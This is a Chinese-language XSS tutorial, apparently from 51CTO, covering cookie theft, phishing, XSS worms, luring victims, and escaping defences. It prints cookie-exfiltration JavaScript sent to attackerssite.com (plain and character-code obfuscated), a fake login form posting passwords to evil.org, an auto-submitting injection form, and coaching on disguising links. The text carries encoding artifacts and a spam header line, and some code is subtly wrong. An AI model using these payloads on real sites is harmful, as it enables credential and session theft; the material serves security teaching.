自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

跨站腳本攻擊深入解析:跨站危害及cookie盜竊

原創(chuàng)
安全 應(yīng)用安全
本文將詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的;最后介紹針對(duì)跨站腳本攻擊的防御措施。

【51CTO.COM 獨(dú)家特稿,轉(zhuǎn)載請(qǐng)注明出處及作者】跨站腳本的名稱源自于這樣一個(gè)事實(shí),即一個(gè)Web 站點(diǎn)(或者人)可以把他們的選擇的代碼越過(guò)安全邊界線注射到另一個(gè)不同的、有漏洞的Web 站點(diǎn)中。當(dāng)這些注入的代碼作為目標(biāo)站點(diǎn)的代碼在受害者的瀏覽器中執(zhí)行時(shí),攻擊者就能竊取相應(yīng)的敏感數(shù)據(jù),并強(qiáng)迫用戶做一些用戶非本意的事情。

在本文的上篇中,我們?cè)敿?xì)介紹了跨站腳本漏洞利用的過(guò)程,并對(duì)HTML注入進(jìn)行深入分析;而本文將詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的;最后介紹針對(duì)跨站腳本攻擊的防御措施。

一、跨站腳本的危害

XSS是一種對(duì)Web應(yīng)用程序的用戶發(fā)動(dòng)的攻擊,利用它攻擊者能裝扮成被攻擊的用戶來(lái)完全控制Web應(yīng)用程序,即便Web應(yīng)用程序位于一個(gè)防火墻之后并且攻擊者無(wú)法直接接觸該Web應(yīng)用程序也是如此。XSS一般不會(huì)對(duì)用戶的機(jī)器造成損害,也不會(huì)對(duì)Web應(yīng)用程序服務(wù)器直接造成破壞。如果成功,攻擊者可以做三種事情:

竊取Cookie

在受害用戶面前假冒成Web應(yīng)用程序

在Web應(yīng)用程序面前假冒成受害用戶

二、竊取Cookie

Cookie一般控制著對(duì)Web應(yīng)用程序的訪問(wèn),如果攻擊者偷竊了受害用戶的Cookie,那么攻擊者就可以使用受害者的Cookie來(lái)完全控制受害者的帳戶。對(duì)于Cookie來(lái)說(shuō),其最佳實(shí)踐就是讓它在一段時(shí)間后過(guò)期,這樣的話攻擊者就只能在有限的時(shí)間內(nèi)訪問(wèn)受害者的帳戶??梢岳孟旅娴拇a來(lái)竊取Cookie:

var x=new Image();x.src='http://attackerssite.com/eatMoreCookies?c='

+document.cookie;

或者像下面這樣:

document.write("〈 img src='http://attackerssite.com/eatMoreCookies"+

"?c="+document.cookie+"'〉");

如果某些字符是禁止的,則將其轉(zhuǎn)換為ASCII的十進(jìn)制數(shù),然后使用JavaScript的String.charFromCode()函數(shù)即可。下列JavaScript等價(jià)于前面的JavaScript:

eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,

97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,

97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,

101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,

100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));

三、釣魚攻擊

通過(guò)假冒Web應(yīng)用程序,攻擊者可以將XSS用于社會(huì)工程。XSS攻擊得手后,攻擊者能夠完全控制Web應(yīng)用程序的外觀。這可用于丑化web,例如攻擊者在頁(yè)面上放置一個(gè)無(wú)聊的圖片。適于打印的常見(jiàn)圖像之一是Stall0wn3d,即你被黑了。

下面是用于這種攻擊的HTML注入字符串:

〈script〉document.body.innerHTML="〈img

src=http://evil.org/stallown3d.jpg〉";〈/script〉.

然而,控制Web應(yīng)用程序呈現(xiàn)在受害用戶面前的外觀比簡(jiǎn)單顯示一些火辣熱圖更為有利,攻擊者可以以此發(fā)動(dòng)釣魚攻擊:強(qiáng)制用戶向攻擊者提供機(jī)密信息。利用document.body.innerHTML,可以提供一個(gè)跟有弱點(diǎn)的Web應(yīng)用程序的登錄頁(yè)面外觀完全一樣的登錄頁(yè)面,并且該登錄頁(yè)面來(lái)自那個(gè)被注入HTML的域,但是提交表單時(shí),數(shù)據(jù)卻發(fā)往攻擊者選擇的站點(diǎn)。

因此,當(dāng)受害用戶輸入他的或者她的用戶名和口令時(shí),這些信息就會(huì)落入攻擊者手中。代碼如下所示:

document.body.innerHTML="〈 h1 〉Company Login〈 / h1〉〈form

action=http://evil.org/grabPasswords method=get〉

〈p〉User name:〈input type=text name=u〉〈p〉Password〈input type=password

name=p〉〈input type=submit name=login〉〈/form〉";

使用這段代碼的一個(gè)小技巧是通過(guò)一個(gè)GET請(qǐng)求發(fā)送表單。這樣,攻擊者甚至不必編寫grabPasswords頁(yè)面,因?yàn)樵撜?qǐng)求將寫到Web服務(wù)器的錯(cuò)誤信息日志里,這里的信息可以輕松讀取。

四、冒充受害者胡作非為

XSS對(duì)Web應(yīng)用程序最大的影響在于,黑客能夠通過(guò)它假冒成Web應(yīng)用程序的合法用戶。下面是一些攻擊者能夠?qū)eb應(yīng)用程序做的一些事情:
在一個(gè)webmail應(yīng)用程序中,攻擊者可以:

以用戶的名義發(fā)送電子郵件

獲取用戶的聯(lián)系人名單

更改自動(dòng)BCC屬性

更改隱私/日志記錄設(shè)置

在基于 Web 的即時(shí)通訊或聊天軟件中,攻擊者可以:

獲取聯(lián)系人名單

向聯(lián)系人發(fā)送消息

添加/刪除聯(lián)系人

在一個(gè)基于 Web 的網(wǎng)絡(luò)銀行或金融系統(tǒng)中,攻擊者能夠:

劃拔資金

申請(qǐng)信用卡

更改地址

在電子商務(wù)系統(tǒng)上,攻擊者能夠:

購(gòu)買商品

每當(dāng)分析XSS對(duì)站點(diǎn)的影響時(shí),想一想如果他控制了受害者的鼠標(biāo)和鍵盤能干什么就行了??紤]一下受害者的內(nèi)部網(wǎng)中的受害者的計(jì)算機(jī)能做哪些壞事。要想假冒成用戶,攻擊者需要弄清Web應(yīng)用程序是如何工作的。有時(shí)候,可以通過(guò)閱讀頁(yè)面源代碼來(lái)達(dá)此目的,但是最好的方法是使用一個(gè)Web代理,例如Burp Suite、WebScarab或者Paros Proxy等。

這些web 代理會(huì)攔截往返于Web 瀏覽器和Web服務(wù)器之間的所有通信數(shù)據(jù),甚至包括通過(guò)HTTPS傳輸?shù)牧髁?。您可以記錄這些會(huì)話以弄明白Web應(yīng)用程序是向服務(wù)器發(fā)送回?cái)?shù)據(jù)的。 這對(duì)于弄清楚如何假冒成該應(yīng)用程序非常有幫助,此外,web 代理對(duì)于發(fā)現(xiàn)XSS及其他Web應(yīng)用程序漏洞也有極大的幫助。#p#

五、XSS蠕蟲

一直在線的Web應(yīng)用程序,諸如webmail、社交網(wǎng)絡(luò)、聊天室、在線多人游戲、在線賭場(chǎng)或者一切需要用戶交互以及需要在用戶間相互發(fā)送某種形式信息的Web應(yīng)用程序,都容易受到XSS蠕蟲的攻擊。XSS蠕蟲充分地利用了Web應(yīng)用程序的特性來(lái)自我傳播。例如,Webmail應(yīng)用中的XSS蠕蟲利用了攻擊者能夠捕獲受害者的聯(lián)系人名單與發(fā)送電子郵件的事實(shí)。

當(dāng)受害者點(diǎn)擊了指向HTML注入的鏈接時(shí),XSS就會(huì)被激活,由此觸發(fā)腳本的執(zhí)行。 腳本將搜索受害者的聯(lián)系人名單,然后發(fā)送電子郵件到受害者的聯(lián)系人名單中的每個(gè)聯(lián)系人。每個(gè)聯(lián)系人將收到一封來(lái)自有信譽(yù)的發(fā)件人(受害者)的電子郵件,該郵件會(huì)邀請(qǐng)聯(lián)系人單擊一些鏈接。一旦他單擊了該鏈接,這個(gè)聯(lián)系人就會(huì)變成了另一個(gè)受害者,然后他的聯(lián)系人也會(huì)收到他的來(lái)信。

XSS蠕蟲以極快的速度繁衍,能夠在短期內(nèi)感染許多用戶,并引起大量的網(wǎng)絡(luò)流量。對(duì)于傳播其它攻擊諸如釣魚攻擊等,非常有效。更為有趣的是,攻擊者有時(shí)候會(huì)向Web應(yīng)用程序添加隱藏的HTML 內(nèi)容以便對(duì)瀏覽器發(fā)動(dòng)多種攻擊。如果用戶運(yùn)行的Web 瀏覽器不是最新的,攻擊者就能夠完全控制用戶的機(jī)器。本例中,XSS用來(lái)傳遞某些其他弱點(diǎn)。

上面部分介紹了跨站腳本的危害,下面介紹攻擊者是如何誘騙受害者的。

六、誘捕受害者

現(xiàn)在,我們已經(jīng)知道如何尋找HTML注入點(diǎn),以及如果攻擊者能夠使用戶單擊指向注入的HTML的鏈接的話,他能夠做哪些事情。有時(shí)候,注入的HTML會(huì)在正常的用戶交互過(guò)程中被激活。也就是說(shuō),有許多有效的方法。然而,通常情況下攻擊者必須使用戶單擊了指向注入的HTML代碼的鏈接才能激活攻擊過(guò)程。本節(jié)簡(jiǎn)要討論如何促使受害者去單擊一個(gè)鏈接。

現(xiàn)在假設(shè)您就是攻擊者。如果您發(fā)現(xiàn)可以在http://search.engine.com/search?p= 注入HTML,并且在http://evil.org/e.js處設(shè)計(jì)了一個(gè)惡意的腳本。 現(xiàn)在,你只要設(shè)法讓人們點(diǎn)擊下列鏈接就行了:

http://search.engine.com/search?p=

但是,究竟會(huì)有多少人會(huì)點(diǎn)擊上述的鏈接呢?對(duì)電腦知識(shí)稍有了解的用戶一眼就能看出點(diǎn)擊上述鏈接肯定不會(huì)有好事。因此,攻擊者需要給這個(gè)鏈接化化妝,然后引誘用戶單擊一些更誘人的東西。

七、隱蔽指向注入的HTML的鏈接

可以用不同的方法來(lái)隱蔽鏈接,例如通過(guò)anchor標(biāo)簽、使用URL縮短技術(shù)站點(diǎn)、博客以及為攻擊者所控制的網(wǎng)站等。

第一個(gè)建議十分簡(jiǎn)單,大多數(shù)Web應(yīng)用程序會(huì)自動(dòng)在URL周圍封裝上錨標(biāo)簽以便于用戶跟隨鏈接。如果攻擊者可以寫入他自己的超鏈接,諸如在一個(gè)webmail應(yīng)用程序中,那么攻擊者就能夠構(gòu)造一個(gè)如下所示的鏈接:

http://goodsite.com/cuteKittens.jpg

這個(gè)鏈接會(huì)作為http://goodsite.com/cuteKittens.jpg出現(xiàn),然而,當(dāng)受害者點(diǎn)擊這個(gè)鏈接時(shí),將被帶至注入的HTML(即實(shí)際上點(diǎn)擊的是攻擊者注入的HTML)。

用于縮短URL的Web應(yīng)用程序,諸如TinyURL、YATUC、ipulink.com、get-shorty.com(以及所有實(shí)現(xiàn)get-shorty功能的網(wǎng)站)等等,都能把冗長(zhǎng)的URL轉(zhuǎn)換成簡(jiǎn)短的URL。這些站點(diǎn)都是通過(guò)將URL映射到一個(gè)較短的URL,而較短的URL又重定向到一個(gè)長(zhǎng)URL來(lái)實(shí)現(xiàn)的。

由于使用了較短的URL把冗長(zhǎng)的URL隱藏了起來(lái),這樣就更容易獲取人們(甚至一些老道的計(jì)算機(jī)用戶)的信任,從而單擊惡意鏈接,例如,對(duì)于下面這個(gè)容易露餡的HTML注入:

http://search.engine.com/search?p=

我們可以把它映射成一個(gè)單獨(dú)的URL,如下所示:

http://tinyurl.com/2optv9

目前,就算是警惕性很高的計(jì)算機(jī)用戶也很少有人知道類似的TinyURL的提供URL縮短服務(wù)的站點(diǎn)。這樣,我們可以通過(guò)不太流行的提供URL縮短技術(shù)的Web應(yīng)用程序獲取更多有經(jīng)驗(yàn)的計(jì)算機(jī)用戶的信任,從而使他們?nèi)ズ翢o(wú)疑慮的點(diǎn)擊我們的鏈接;此外,我們也可以創(chuàng)建自己的web頁(yè)面,并在其中放入下列內(nèi)容:

注意,document.location的字符串中的標(biāo)簽在上述JavaScript被執(zhí)行之前是作為HTML出現(xiàn)的。對(duì)于POST方式的HTML注入,您可以編寫下面的代碼:

〈html〉
〈body〉
〈!-- something distracting like a cute kitten --〉
〈img src=cuteKitten.jpg〉
〈!-- and some HTML injection --〉
〈form action="name="evilForm"〉
〈input type="hidden" name="p" value="〈script〉a_lert(1)〈/script〉"〉
〈/form〉
〈script〉
document.evilForm.submit()
〈/script〉
〈/body〉
〈/html〉

現(xiàn)在,把上述代碼放到您自己的Web站點(diǎn)或者blog中——如果沒(méi)有的話,現(xiàn)在有許多免費(fèi)的Web站點(diǎn)以及blog托管站點(diǎn)可用。
一種不錯(cuò)的隱蔽技術(shù)是濫用IE的MIME類型不匹配問(wèn)題。例如,創(chuàng)建一個(gè)文本文件,將其命名為cuteKitten.jpg,然后放入下列內(nèi)容:

〈iframe style="display:none"
src="
〈img src="someCuteKitten.jpg"〉

上載cuteKitten.jpg,例如放到http://somwhere.com/cuteKitten.jpg。當(dāng)用戶點(diǎn)擊該鏈接時(shí),IE會(huì)認(rèn)出cuteKitten.jpg根本就不是一張圖像,所以它繼而將其作為HTML進(jìn)行解釋。這樣在顯示圖像someCuteKitten.jpg的時(shí)候?qū)嶋H上會(huì)在后臺(tái)利用一個(gè)注入的HTML代碼。

最后,攻擊者只要注冊(cè)一個(gè)聽(tīng)起來(lái)很正規(guī)的域名并且將該html注入寄放在該域名中即可。例如,googlesecured.com就是一個(gè)看上去很真可信的域名。

八、促使用戶單擊注入的HTML代碼

利用“免費(fèi)色情圖片”以及“偉哥甩賣”來(lái)引誘別人已經(jīng)成為過(guò)去,現(xiàn)在,攻擊者通常會(huì)促使用戶去做一些普通大眾經(jīng)常做的事情,諸如單擊一個(gè)新聞鏈接、欣賞一副可愛(ài)的小貓的圖片等等,當(dāng)然使用的方法在前面我們已經(jīng)說(shuō)過(guò)了。

例如,快到情人節(jié)了,大多數(shù)年輕人都希望給愛(ài)人一個(gè)驚喜。攻擊者就會(huì)考慮利用“閱讀本文以了解如何您的愛(ài)人一個(gè)與眾不同的情人節(jié)”之類的文字來(lái)誘惑用戶單擊鏈接。借助于XSS蠕蟲,如果人們看到這封郵件來(lái)自其好友的話,那么人們會(huì)毫不猶豫地點(diǎn)擊它。

然而,攻擊者放入的文字越多,越容易引起潛在受害者的疑慮?,F(xiàn)今,最有效的信件應(yīng)當(dāng)只發(fā)給潛在的受害者一個(gè)鏈接,而根本不附加任何文字。好奇是人類的本性,在這種強(qiáng)烈的本能的驅(qū)使下,點(diǎn)擊該鏈接將大有人在。

至此,攻擊手法的介紹已經(jīng)告一段落,下面開(kāi)始簡(jiǎn)要介紹針對(duì)跨站腳本攻擊的防御措施。

九、防御跨站點(diǎn)腳本攻擊

為了防御XSS攻擊,開(kāi)發(fā)人員必須謹(jǐn)慎處理由用戶提供的并且又反過(guò)來(lái)提供給用戶的那些數(shù)據(jù)。這里所說(shuō)的“用戶提供的數(shù)據(jù)”應(yīng)該定義為所有從外部網(wǎng)絡(luò)連接發(fā)送給Web應(yīng)用程序的那些數(shù)據(jù)。

它可以是登錄時(shí)用HTML表單提交的用戶名,一個(gè)后臺(tái)的Ajax請(qǐng)求、一封電子郵件、乃至http報(bào)頭。要把所有這些數(shù)據(jù)都看作是從外部網(wǎng)絡(luò)連接進(jìn)入Web應(yīng)用程序的有潛在危險(xiǎn)的數(shù)據(jù)。

對(duì)于所有由用戶提供的隨后又通過(guò)HTTP應(yīng)答(諸如Web頁(yè)面以及AJAX響應(yīng)(HTTP響應(yīng)碼200)、頁(yè)面未找到錯(cuò)誤(HTTP響應(yīng)碼404)、服務(wù)器錯(cuò)誤(類似的HTTP 響應(yīng)碼502)、重定向(例如HTTP 響應(yīng)碼302,等等)回顯給用戶的那些數(shù)據(jù),開(kāi)發(fā)人員必須采取下列措施之一:

對(duì)數(shù)據(jù)進(jìn)行正確地轉(zhuǎn)義處理,以保證它們不會(huì)被解釋為HTML代碼(對(duì)瀏覽器而言)或者XML代碼(對(duì)Flash而言)。

刪除會(huì)被惡意使用的字符串或者字符

一般情況下,刪除一些字符會(huì)對(duì)用戶體驗(yàn)造成影響,舉例來(lái)說(shuō),如果開(kāi)發(fā)人員刪除了上撇號(hào)(’),那么對(duì)某些人來(lái)說(shuō)就會(huì)帶來(lái)不便,如姓氏中帶有撇號(hào)的人,他們的姓氏就無(wú)法正常顯示。同時(shí),嚴(yán)禁開(kāi)發(fā)人員刪除字符串,因?yàn)橥耆梢酝ㄟ^(guò)許多不同的形式來(lái)表示字符串。應(yīng)用程序和瀏覽器會(huì)對(duì)字符串作出不同的解釋。例如,SAMY蠕蟲利用了IE不把換行符作為定界符字符這一事實(shí),因此,IE看來(lái)JavaScript和jav%0dascr%0dipt是一回事。遺憾的是,MySpace把換行符解釋為字的分界符號(hào),并允許將向Samy(及其他人)的MySpace頁(yè)面中放入下列內(nèi)容:

〈 div id="mycode" expr="a_lert('1')" style="background:url('java

script:eval(document.all.mycode.expr)')"〉〈/div〉

我們建議對(duì)所有用戶提供的又被發(fā)回給Web瀏覽器的數(shù)據(jù)都進(jìn)行轉(zhuǎn)義處理,包括AJAX調(diào)用、移動(dòng)式應(yīng)用、Web頁(yè)面、重定向等等內(nèi)的數(shù)據(jù)。然而,對(duì)字符串進(jìn)行轉(zhuǎn)義處理并不是我們想得那么簡(jiǎn)單:您必須根據(jù)用戶提供的數(shù)據(jù)將被放到HTTP應(yīng)答中的具體位置來(lái)決定使用URL編碼、HTML實(shí)體編碼或者JavaScript編碼進(jìn)行轉(zhuǎn)義。

十、防范基于UTF-7的XSS

基于UTF-7的攻擊是很容易防范的,只要強(qiáng)制指定在HTTP報(bào)頭中的或者HTML響應(yīng)內(nèi)部的字符編碼即可。我們建議對(duì)默認(rèn)HTTP報(bào)頭做如下設(shè)置:

Content-Type: text ml; charset=utf-8

還應(yīng)當(dāng)對(duì)全部HTML響應(yīng)添加下列限制:

< meta http-equiv="Content-Type" content="text ml;charset=utf-8" >

十一、結(jié)束語(yǔ)

在瀏覽器中已經(jīng)建立了一些安全措施——即同源策略和Cookie安全模型。此外,一些瀏覽器插件,諸如Flash Player、Outlook Express 以及Acrobat Reader等,帶來(lái)了更多的安全問(wèn)題和安全措施。然而,如果攻擊者可以強(qiáng)迫用戶執(zhí)行源自特定域的JavaScript的話,這些額外的安全措施總是傾向于削弱同源策略的力量。

跨站點(diǎn)腳本攻擊(XSS)技術(shù)能夠強(qiáng)迫用戶執(zhí)行攻擊者以受害者名義在某個(gè)域上選擇的腳本,如JavaScript、VBScript、ActionScript,等等。XSS要求某個(gè)域上的Web應(yīng)用程序能夠提供(即供應(yīng)、返回)被攻擊者所控制的字符。因此,攻擊者可以向頁(yè)面注入代碼,而這些代碼將來(lái)會(huì)在這個(gè)有弱點(diǎn)的域的上下文中執(zhí)行。本文詳細(xì)介紹跨站腳本的危害,以及攻擊者是如何誘騙受害者的。最后介紹針對(duì)跨站腳本攻擊的防御措施。至此,讀者已經(jīng)能夠?qū)缯灸_本攻擊有一個(gè)全面深入的了解了。

 

責(zé)任編輯:安泉 來(lái)源: 51CTO.com
相關(guān)推薦

2010-06-07 20:19:49

2010-09-27 17:37:10

2009-03-09 12:37:48

2012-11-15 09:51:36

2009-02-24 17:19:38

2013-01-11 17:33:46

2010-06-30 16:26:05

2010-09-10 10:57:33

2010-09-09 11:19:10

2010-09-10 14:13:11

2020-12-21 09:40:06

腳本攻擊XSS漏洞

2017-06-14 16:08:31

2015-02-01 09:26:10

2012-04-12 14:45:13

2009-05-04 16:09:04

2022-08-12 07:01:00

Node.jsXSS腳本

2010-09-10 09:18:51

2009-10-25 14:09:06

2012-11-09 15:42:44

2009-10-23 13:08:23

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)